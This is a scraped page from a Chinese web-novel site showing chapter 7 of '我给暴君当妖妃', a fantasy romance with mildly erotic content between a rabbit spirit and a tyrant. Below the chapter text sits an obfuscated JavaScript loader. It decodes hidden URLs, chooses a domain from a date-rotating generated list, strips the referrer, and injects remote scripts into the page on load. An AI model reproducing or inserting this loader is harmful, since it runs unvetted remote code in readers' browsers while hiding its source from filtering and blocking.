返回

第 7 章 什么夫什么妇? 我给暴君当妖妃

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

第7章什么夫什么妇?

绮雪感觉得出卫淮正在检查他的身体,慢条斯理,温柔细致,一定要帮他检查到位。

这种检查的方式让绮雪想起了在大荔山上的日子,他总是被桑迟他们追猎,追到了就把他扑倒在地,乱舔他的兔毛,将他整只兔舔得湿透了,才会得意地扬长而去。

现在卫淮做的事也差不多,可绮雪没了兔毛,再加上蒙着眼睛,感受自然会变得天翻地覆,受不了地摸索过去,拉住卫淮的手,央求他停下来。

卫淮愉快地拒绝了他:“是你自己招了我,你却要我停下来?对我这么召之即来挥之即去的,未免太欺负我了。”

到底是……谁欺负谁!

绮雪抱住被子,气得直咬被角,但很快就连咬被角的力气都没有了。

其实绮雪对这方面的认知很浅薄,仅限于在书本里的了解,自己没亲身体会过,甚至是有些避之不及。

因为每到春天,万物复苏的季节,大荔山的风景就会变得格外壮观,漫山遍野都是求偶的小动物。

绮雪作为最漂亮的小兔子,不仅被母兔扑,被公兔骑,被成群结队的动物追着乱窜,就连筑巢的小鸟们都以在巢中放一撮他的兔毛为荣,追着他的尾巴叨叨叨,直到薅下一大撮兔毛。

这样的春天绮雪经历了一百多次,内心的阴影之深,早就不是可以用语言形容的了。

所以他一直没有配偶,对繁衍子嗣更是毫无兴趣,昔日和他同龄的兔族早已故去,繁衍了成千上万的后代子孙,只有他始终是孤零零的,陪伴他最久的就是绿香球这个好朋友。

直到下山遇见卫淮,绮雪才初尝欢合的滋味,舒服是真舒服,累也是真累,偏偏卫淮的花样又那么多,他几乎是才一开始就已经溃不成军了。

绮雪埋着脸小声啜泣,他的声音婉转动人,哭起来更是惹人怜爱。

可卫淮不一样,他只有爱没有怜,就喜欢听绮雪哭,还逗弄绮雪:“再哭着叫一声‘相公’给我听听。”

绮雪没开口,这是他最后的尊严了,卫淮察觉到了他的小脾气,笑意从眼中漫溢出来,低头亲了亲他的小腿。

忽然他注意到绮雪的右小腿上有一条疤痕,疤痕不长,色泽很浅,如果不是这么近的距离,根本看


本章未完,点下一页继续阅读。>>>

let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();
上一章 回目录 下一页